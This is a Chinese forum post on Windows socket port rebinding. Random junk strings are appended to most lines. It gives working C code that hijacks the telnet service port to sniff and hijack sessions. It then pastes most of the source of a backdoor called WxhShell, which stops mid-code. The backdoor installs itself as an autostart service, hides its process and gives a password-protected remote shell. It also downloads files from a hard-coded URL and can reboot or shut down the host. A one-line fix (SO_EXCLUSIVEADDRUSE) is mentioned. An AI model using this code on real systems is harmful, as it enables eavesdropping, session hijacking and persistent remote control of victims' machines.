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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ola>] 0l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v[q2OWcL  
;oH17  
  saddr.sin_family = AF_INET; }3!83~Qbx  
N4}j,{#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T2AyQ~5~  
_>9|"seR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NIY0f@1z-  
>2_BL5<S  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MS)#S&  
J}Bg<[n  
  这意味着什么?意味着可以进行如下的攻击: ka0T|$ u(s  
3J7TWOJVw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rbHrG<+7zO  
:Ag]^ot  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u-=S_e  
>k,bHGj?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #I'W[\l~+  
`(vgBz`e[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x }[/A;N  
<UQaRI[55  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 / V+&#N  
tO~DA>R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M}k )Ep9  
9OuK}Ssf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >_!pg<{,  
>pW8K[  
  #include Am'5|  
  #include EDcR:Dw3  
  #include `Rub"zM  
  #include    )mz [2Sfg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d kHcG&)  
  int main() BNw^ _j1  
  { 16_HO%v->  
  WORD wVersionRequested; v`A^6)U#M  
  DWORD ret; o7i/~JkTP  
  WSADATA wsaData; QZ$94XLI  
  BOOL val; BC ]^BKP  
  SOCKADDR_IN saddr; A,ttn5Sh?  
  SOCKADDR_IN scaddr; ^0_*AwIcN  
  int err; bg[k8*.:F  
  SOCKET s; 'Cd8l#z7  
  SOCKET sc; IAf,TKfe  
  int caddsize; %6j|/|#]  
  HANDLE mt; .+t{o [  
  DWORD tid;   ^W5rL@h_  
  wVersionRequested = MAKEWORD( 2, 2 ); bo '  
  err = WSAStartup( wVersionRequested, &wsaData ); a,b ;H(em  
  if ( err != 0 ) { i[`nu#n/  
  printf("error!WSAStartup failed!\n"); Q6 @}t&k4C  
  return -1; =G]} L<  
  } GMU.Kt  
  saddr.sin_family = AF_INET; $~`a,[e<  
   =24)`Lyb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  TOdH  
A)Wp W M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "#z4  
  saddr.sin_port = htons(23); ck>|p09q'9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5V!L~#  
  { TS^(<+'  
  printf("error!socket failed!\n"); jz QmYcd  
  return -1; m3 C&QdjRp  
  } JryDbGc8  
  val = TRUE; k!H;(B"s-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /6B!& b2f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fQi7e5  
  { $IX>o&S@|  
  printf("error!setsockopt failed!\n"); QDYS}{A:V  
  return -1; WCA`34(  
  } \u ?z:mV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;ob-'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oe_l:Y%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rVowHP  
q{@j$fMt0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >gM|:FG  
  { 1fM= >Z  
  ret=GetLastError(); 3Wxl7"!x m  
  printf("error!bind failed!\n"); U~-Z`_@^-  
  return -1; `Jhu&MWg  
  } .",E}3zn  
  listen(s,2); 6[,*2a8  
  while(1) }WS%nQA  
  { >DVjO9Kf  
  caddsize = sizeof(scaddr); )[yM4QFl  
  //接受连接请求 ]Cnj=\'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A<2_V1  
  if(sc!=INVALID_SOCKET) &1YAPxX  
  { H>AQlO+J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i`Fg kABw  
  if(mt==NULL) G`!#k!&r  
  { 2c@4<kyfP  
  printf("Thread Creat Failed!\n"); "]>JtK  
  break; 9Xo'U;J  
  } g#ubxC7t<  
  } ^eQK.B(  
  CloseHandle(mt); Z2~;u[0a[  
  } ,pE{N&p9  
  closesocket(s); Zm& X $U  
  WSACleanup(); <\eHK[_*  
  return 0; ^]o]'  
  }   jv<BGr=4;  
  DWORD WINAPI ClientThread(LPVOID lpParam) O&!>C7  
  { S~0 mY} m  
  SOCKET ss = (SOCKET)lpParam; +Rn]6}5m\  
  SOCKET sc; YbB8D-  
  unsigned char buf[4096]; J5h;~l!y  
  SOCKADDR_IN saddr; -twV?~f  
  long num; rU`#3}s  
  DWORD val; SjV;& 1Z/  
  DWORD ret; 0][PL%3Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ))V)]+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [R*UPa  
  saddr.sin_family = AF_INET; g0GC g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {r Q6IV3=  
  saddr.sin_port = htons(23); #]<j.Fc`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YA9Xe+g  
  { uoR_/vol8  
  printf("error!socket failed!\n"); ?.~E:8  
  return -1; Eh&*"&fHR  
  } uq~$HXdc  
  val = 100; |S[Gg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LPX@oha  
  { {;1Mud  
  ret = GetLastError(); 4<fKB&  
  return -1; LnP={s  
  } 0*S]m5#;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q laz3X,P  
  { yM>:,TS  
  ret = GetLastError(); QxG:NN;jW  
  return -1; }wRHNBaEB  
  } pYIm43r H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VSP6osX{  
  { Wcd;B7OH  
  printf("error!socket connect failed!\n"); VCfa<hn  
  closesocket(sc); U|VF zpJ  
  closesocket(ss); &QFg=  
  return -1; C"no>A^  
  } hi4#8W  
  while(1) DjUif "v  
  { oe`t ? (U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2iC7c6hc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _]:wltPv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U;p"x^U`  
  num = recv(ss,buf,4096,0); Lpd q^X  
  if(num>0) 2<53y~Yi%  
  send(sc,buf,num,0); g>)&Q >}=W  
  else if(num==0) XM o#LS  
  break; 8$9<z  
  num = recv(sc,buf,4096,0); ]pr(hk  
  if(num>0) 5<h7+ %?t9  
  send(ss,buf,num,0); U;f~Q6iu  
  else if(num==0) 0V6gNEAUg  
  break; 3p`*'j2R  
  } 7qj<|US  
  closesocket(ss); 21i?$ uU  
  closesocket(sc); cnJ(Fv_F$  
  return 0 ; &?C% -"|c  
  } s<,[xkMB  
mTXeIng?  
+Qy0K5Ee  
========================================================== e]F4w(*=  
A (z lX_  
下边附上一个代码,,WXhSHELL t@(S=i7}-  
3>;zk#b2  
========================================================== MQ7d IUs  
bso l>M[<  
#include "stdafx.h" 'Vq_/g!?1  
x[l_dmq  
#include <stdio.h> <Vucr   
#include <string.h>  JwEQR  
#include <windows.h> @%Y$@Qb{  
#include <winsock2.h> }jTCzqHW]  
#include <winsvc.h> uFPJ}m[>5  
#include <urlmon.h> yneIY-g(p  
40,u(4.m*  
#pragma comment (lib, "Ws2_32.lib") k\(LBZ"vR  
#pragma comment (lib, "urlmon.lib") pJ)PVo\cV  
!9w3/Gthj  
#define MAX_USER   100 // 最大客户端连接数 8+'9K%'@qX  
#define BUF_SOCK   200 // sock buffer ('k;Ikut  
#define KEY_BUFF   255 // 输入 buffer <j CD^  
<NRW^#g<x  
#define REBOOT     0   // 重启 P X/{  
#define SHUTDOWN   1   // 关机 0 _ 4p>v:  
u.W}{-+kp  
#define DEF_PORT   5000 // 监听端口 d +0(H   
_Q&O#f  
#define REG_LEN     16   // 注册表键长度 T^FeahA7;  
#define SVC_LEN     80   // NT服务名长度  peW4J<,  
>a;0<Ui&Q  
// 从dll定义API @hC,J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NQb!?w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^f][;>c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kB~KC-&O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K(bid0 Y  
+M@p)pyu  
// wxhshell配置信息 o2p;$W4`  
struct WSCFG { qz]b8rX  
  int ws_port;         // 监听端口 2^Y@e=^A  
  char ws_passstr[REG_LEN]; // 口令 AcC'hr.N+  
  int ws_autoins;       // 安装标记, 1=yes 0=no I !\;NVhv  
  char ws_regname[REG_LEN]; // 注册表键名 |ci1P[y  
  char ws_svcname[REG_LEN]; // 服务名 g Mhn\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~J #^L*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 : &! >.Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f0 iYP   
int ws_downexe;       // 下载执行标记, 1=yes 0=no @N^?I*|u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~+ _|J"\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $'m&RzZ  
vm,/?]P  
}; _g{*;?mS  
k Qm\f  
// default Wxhshell configuration N0UL1[ur  
struct WSCFG wscfg={DEF_PORT, }?PvNK]",  
    "xuhuanlingzhe", C|"BMam  
    1, B_Qi  
    "Wxhshell", Tz/=\_}  
    "Wxhshell", O [Q;[@  
            "WxhShell Service", o0SQJ1.a$  
    "Wrsky Windows CmdShell Service", #Z%?lx"Q0  
    "Please Input Your Password: ", "`A@_;At`  
  1, @log=^  
  "http://www.wrsky.com/wxhshell.exe", _Nze="Pt  
  "Wxhshell.exe" H|V q  
    }; KBVW <;C$  
R^t )~\d  
// 消息定义模块 2Mqac:L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "Yh[-[,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 47 ]?7GU,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fg[]>:ZT.  
char *msg_ws_ext="\n\rExit."; SU. 9;I !  
char *msg_ws_end="\n\rQuit."; `8 Q3=^)3  
char *msg_ws_boot="\n\rReboot..."; gD$bn=  
char *msg_ws_poff="\n\rShutdown...";  x!)[l;  
char *msg_ws_down="\n\rSave to "; m5Q?g8  
/%O+]#$`0  
char *msg_ws_err="\n\rErr!"; ^uG^XY&ItC  
char *msg_ws_ok="\n\rOK!"; z 'iAj  
ChVur{jR  
char ExeFile[MAX_PATH]; mv%Zh1khn/  
int nUser = 0; 'ju  
HANDLE handles[MAX_USER]; e-@=QI^,  
int OsIsNt; o XKH,r  
ZmT N  
SERVICE_STATUS       serviceStatus; (<.uvq61  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M mihWD02  
X{8/]'(  
// 函数声明 a04I.5!  
int Install(void); Z{' .fq2A  
int Uninstall(void); W.nQYH  
int DownloadFile(char *sURL, SOCKET wsh); NhP&sQO  
int Boot(int flag); fDq`.ZW)s  
void HideProc(void); c5KJ_Nfi  
int GetOsVer(void); o>3g<- ul  
int Wxhshell(SOCKET wsl); #HgXTC  
void TalkWithClient(void *cs); oh>X/uj  
int CmdShell(SOCKET sock); DM*GvBdR  
int StartFromService(void); nMz~.^Q-  
int StartWxhshell(LPSTR lpCmdLine); B Q) 1)8r  
|dP[_nh?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -;VKtBXP</  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m\h. sg&  
Q#wl1P  
// 数据结构和表定义 S`N_},  
SERVICE_TABLE_ENTRY DispatchTable[] = 2!UNFv#=$  
{ C}})dL;(  
{wscfg.ws_svcname, NTServiceMain}, ?/EyfTex  
{NULL, NULL} Ds}ctL{6"  
}; cwe@W PE2  
$s[DT!8N  
// 自我安装 #zRT  
int Install(void) ss8de9T"'  
{ /CXrxeo  
  char svExeFile[MAX_PATH]; PA=.)8  
  HKEY key; 9lT6fW`v1Q  
  strcpy(svExeFile,ExeFile); R78=im7  
\&|zD"*  
// 如果是win9x系统,修改注册表设为自启动 k{{iF  
if(!OsIsNt) { i2h,=NHJh?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >n`!S`)9{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C^dnkuA  
  RegCloseKey(key); Gp<7i5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;p$KM-?2D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k@,&'imx  
  RegCloseKey(key); Y~R['u,  
  return 0; tks3xS  
    } g%Yw Dr=0t  
  } =K#12TRf  
} 9)_fH6r  
else { b[mAkm?9+1  
ZO^Y9\L  
// 如果是NT以上系统,安装为系统服务 xlJ8n+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *58`}]  
if (schSCManager!=0) ;PBybR W  
{ 5)}3C_pmW  
  SC_HANDLE schService = CreateService )ifEgBT  
  ( 81(.{Y839_  
  schSCManager, =Wb!j18]  
  wscfg.ws_svcname, '[XtARtY`  
  wscfg.ws_svcdisp, ]["=K!la:  
  SERVICE_ALL_ACCESS, > x$eKN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Sk'S`vH  
  SERVICE_AUTO_START, )v4?+$g  
  SERVICE_ERROR_NORMAL, gEejLyOag  
  svExeFile, =z=$S]qN  
  NULL, Hl@)j   
  NULL, U ?%1:-#F  
  NULL, K >-)O=$s  
  NULL, dc ]+1 A  
  NULL 01 UEd8  
  ); d=q&UCC  
  if (schService!=0) Wq4>!|  
  { (|(#W+l~  
  CloseServiceHandle(schService); )^G&p[G  
  CloseServiceHandle(schSCManager); s'4S,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4bT21J37  
  strcat(svExeFile,wscfg.ws_svcname); (l|:$%[0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ywPFL/@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OS X5S:XS  
  RegCloseKey(key); %*>ee[^L ,  
  return 0; \~3g*V  
    } Rh:@@4<  
  } B%|cp+/  
  CloseServiceHandle(schSCManager); 8T}Ycm5}  
} M.h)]S>  
} [sM~B  
qre.^6x  
return 1; qyfw$$X  
} Z+zx*(X  
>bKN$,Qen  
// 自我卸载 b~M3j&  
int Uninstall(void) b r"4 7i  
{ !,f#oCL  
  HKEY key; rUb`_W@  
tkN5 |95  
if(!OsIsNt) { {}vB# !  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r9x.c7=O  
  RegDeleteValue(key,wscfg.ws_regname); ,ZVC@P,L  
  RegCloseKey(key); nm!5L[y!0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t-xw=&!w  
  RegDeleteValue(key,wscfg.ws_regname); n1X.]|6'  
  RegCloseKey(key); QQ+?J~  
  return 0; |j[=uS  
  } =Ws-s f]  
} mP1EWh|  
} }RGp)OFY&  
else { &&N]u e@>  
2>E.Q@c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i.0}d5Y  
if (schSCManager!=0) *3S ./ C}  
{ l.DC20bs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7?@s.Sz|fV  
  if (schService!=0) I?) .D?o  
  { C *\ =Q  
  if(DeleteService(schService)!=0) { Ab]`*h\U  
  CloseServiceHandle(schService); wKjL}1.k  
  CloseServiceHandle(schSCManager); {=(GY@yU/  
  return 0; p8%/T>hK  
  } g;bfi{8s_  
  CloseServiceHandle(schService); H.8f-c-4we  
  } JN{.-k4Ha  
  CloseServiceHandle(schSCManager); g$++\%k&  
} i+ I%]  
} LuM[*_8  
r ek89.p  
return 1; E^I|%F  
} Us4ijR d  
B2QC#R  
// 从指定url下载文件 [SluYmW  
int DownloadFile(char *sURL, SOCKET wsh) +Om(&\c(6  
{ vd@ _LcK  
  HRESULT hr; "V|1w>s  
char seps[]= "/"; pRt=5WZ  
char *token; rKlu+/G  
char *file; 4M)  s  
char myURL[MAX_PATH]; 9-<EeV_/  
char myFILE[MAX_PATH]; ] ~;x$Z)  
`@8QQB  
strcpy(myURL,sURL); +="?[:  
  token=strtok(myURL,seps); Iz'*^{Ssm  
  while(token!=NULL) !N6/l5kn  
  { 3SRz14/W_R  
    file=token; &ukYTDM  
  token=strtok(NULL,seps); k<mfBNvuo  
  } N# Ru `;  
80X #V  
GetCurrentDirectory(MAX_PATH,myFILE); k79" xyXX  
strcat(myFILE, "\\"); ogt<vng  
strcat(myFILE, file); 4I"p>FIkY  
  send(wsh,myFILE,strlen(myFILE),0); MGH(= w1  
send(wsh,"...",3,0); _z:7Dj#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p[E}:kak_-  
  if(hr==S_OK) -Y#YwBy;M  
return 0; LY}9$1G]  
else /{eD##vhP  
return 1; sN6R0YW  
gO0X-fN8  
} g]^@bxdg  
}Y/uU"t  
// 系统电源模块 Ap&Bwo 8b  
int Boot(int flag) dgLE/r?  
{ oDY $F%  
  HANDLE hToken; d ] J5c  
  TOKEN_PRIVILEGES tkp; y{>d&M|  
5iE-$,7#L  
  if(OsIsNt) { 2}Ga   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z1LN|+\}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `lAe2l^  
    tkp.PrivilegeCount = 1; |sf&t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o6JCy\Bx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IMaa#8,  
if(flag==REBOOT) { 0w'%10"&U+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XBd/,:q  
  return 0; _*d8:|qw  
} o!q3+Pp;}  
else { \>Y2I 4x<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hw 7   
  return 0; ),9^hJ1+@  
} -YF]k}|  
  } ,>6s~'  
  else { &xK ln1z'  
if(flag==REBOOT) { rJ2yi6TB\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D%L}vugxK  
  return 0; ZPrL)']  
} ~YQC!x  
else { Czj]jA(0f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fq-zgqF<  
  return 0; 'CE3 |x\%K  
} EbEQ@6t  
} "E4;M/  
)bJS*#  
return 1; vbH?[ Zr?  
} $a'n{EP  
^gP pmb<x  
// win9x进程隐藏模块 ,BGaJ|k  
void HideProc(void) :#CQQ*@  
{ wc&%icF*cr  
lX^yd5M&f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I[mlQmwsL.  
  if ( hKernel != NULL ) }m!L2iK4qk  
  { 3v~804kWB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tOn 6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [PVem  
    FreeLibrary(hKernel); XH9Y|FX%#  
  } :bJT2o[  
drr W?U  
return; JQ-O=8]  
} s&T"/4  
y~,mIM$[@  
// 获取操作系统版本 X rBe41  
int GetOsVer(void) a: C h"la  
{ N3J T[7  
  OSVERSIONINFO winfo; uB;\nj5'D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z[zURj-*]  
  GetVersionEx(&winfo);  58S>B'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uc>u=kEue  
  return 1; in>Os@e#  
  else s L;  
  return 0; >A'Q9Tia;  
} azEN_oUV  
H0!W:cIS;l  
// 客户端句柄模块 ;,d^=:S6@  
int Wxhshell(SOCKET wsl) F+%6?2 J  
{ s8i@HO  
  SOCKET wsh; FU;b8{Y  
  struct sockaddr_in client; \6]Uj+  
  DWORD myID; 9$]I3k  
wH?r522`c  
  while(nUser<MAX_USER) 8G GC)2  
{ 0A]+9@W;  
  int nSize=sizeof(client); =6PTT$,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eouxNw}F1  
  if(wsh==INVALID_SOCKET) return 1; WA~PE` U  
PubO|Mf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lCyBdY9n  
if(handles[nUser]==0) fdU`+[_  
  closesocket(wsh); ]UtfI  
else /UwB6s(  
  nUser++; n U0  
  } NeG$;z7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y(^hlX6gQ  
O r {9?;G  
  return 0; #3fS_;G  
} 6),U(e%  
puv/+!q  
// 关闭 socket =f{)!uW<4  
void CloseIt(SOCKET wsh) vKX6@eg"  
{ VLLE0W _]  
closesocket(wsh); d&N[\5q  
nUser--; G54,`uz2  
ExitThread(0); n@`D:;?{  
} E{):z g  
C rA7lu'  
// 客户端请求句柄 wD*z >v$  
void TalkWithClient(void *cs) E~[v.3`  
{ G<dWh.|`=  
\{g;|Z 1  
  SOCKET wsh=(SOCKET)cs; y{Fq'w!ap  
  char pwd[SVC_LEN]; 71g\fGG\  
  char cmd[KEY_BUFF]; -#TF&-  
char chr[1]; -XbO[_Wf  
int i,j; 5V"Fy&}:  
 Sj,>O:p  
  while (nUser < MAX_USER) { n]K`ofjl^  
[{K   
if(wscfg.ws_passstr) { fo$5WTY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PO$ OXw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <@+>A$~0  
  //ZeroMemory(pwd,KEY_BUFF); 0=WZ 8|R  
      i=0; }]fJ[KbDp  
  while(i<SVC_LEN) { .aA 8'/  
kdr?I9kwW  
  // 设置超时 1\hh,s  
  fd_set FdRead; FQ" ;v"  
  struct timeval TimeOut; E0SP  
  FD_ZERO(&FdRead);  Uk2U:  
  FD_SET(wsh,&FdRead); Qz[4M`M  
  TimeOut.tv_sec=8; sKIpL(_I$  
  TimeOut.tv_usec=0; Q')0 T>F-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UNoNsmP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #3+-vyZm  
z?b[ 6DLV;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )bl'' yO  
  pwd=chr[0]; {6/Yu: ;  
  if(chr[0]==0xd || chr[0]==0xa) { *E"OQsIl  
  pwd=0; 4ONou&T  
  break; $@VQ{S  
  } BGe&c,feIc  
  i++; )`4g,W  
    } ZRD@8'1p  
_QS+{  
  // 如果是非法用户,关闭 socket @P$_2IU"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f^EDiG>b`  
} /d1 B-I  
65@,FDg*i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sF+mfoMtG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >$%rsc}^  
>k\lE(  
while(1) { &*w)/W  
7yp}*b{s  
  ZeroMemory(cmd,KEY_BUFF); e>GX]tK  
QcXqMx  
      // 自动支持客户端 telnet标准   ,hggmzA~  
  j=0; N~Kl{" >`  
  while(j<KEY_BUFF) { SL j2/B0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2V-zmyJs5  
  cmd[j]=chr[0]; qh40nqS;9  
  if(chr[0]==0xa || chr[0]==0xd) { L_k'r\L  
  cmd[j]=0; =Nc}XFq  
  break; G#|`Bjv"aP  
  } 3lZ5N@z69  
  j++; 0-N"_1k|?  
    } ;:^^Qfp  
1=9M@r~ ^  
  // 下载文件 CP%?,\  
  if(strstr(cmd,"http://")) { +OM9v3qJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5LIbHSK  
  if(DownloadFile(cmd,wsh)) gM5`UH|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e 1 yvvi  
  else (F wWyt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2a\?Q|1C  
  } ++Z,U  
  else { &~6W!w  
[ q<Vm-  
    switch(cmd[0]) { Z2%ySO  
  |z5`h  
  // 帮助 O.9r'n4f  
  case '?': { %GY U$aA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); figCeJ!W4  
    break; M?3N h;  
  } >~D-\,d|f  
  // 安装 "IvFkS=*Q  
  case 'i': { p>O>^R  
    if(Install()) | M|5Nc>W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AJ:(NV1=  
    else 1pM"j!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WZ3GI l  
    break; A<+veqb4  
    } }H>}v/  
  // 卸载 6oQSXB@  
  case 'r': { sXpA^pT"T  
    if(Uninstall()) t3w:!' Ato  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v&8%t 7|  
    else K).Gj2 $  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LzS)WjEN  
    break; AwC"c '  
    } LXGlG  
  // 显示 wxhshell 所在路径 _>k&,p]y  
  case 'p': { Lwzk<+>w^  
    char svExeFile[MAX_PATH]; +im>|  
    strcpy(svExeFile,"\n\r"); 5i$iUDuT>(  
      strcat(svExeFile,ExeFile); g~A~|di|  
        send(wsh,svExeFile,strlen(svExeFile),0);  ^O9_dP:  
    break; ??7c9l5,  
    } 8vuA`T!~G  
  // 重启 j~ 'a %P  
  case 'b': { qkg`4'rLg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m7F"kD  
    if(Boot(REBOOT)) bH7 lUS~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o~(/Twxam  
    else { \MY`R  
    closesocket(wsh); Q.$|TbVfds  
    ExitThread(0); ';\v:dP  
    } &t1Uk[  
    break; saj%[Gsy  
    } :d!qZFln  
  // 关机 y>5??q  
  case 'd': { Z<Pf[C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qoo+=eh!  
    if(Boot(SHUTDOWN)) ~h<<-c  
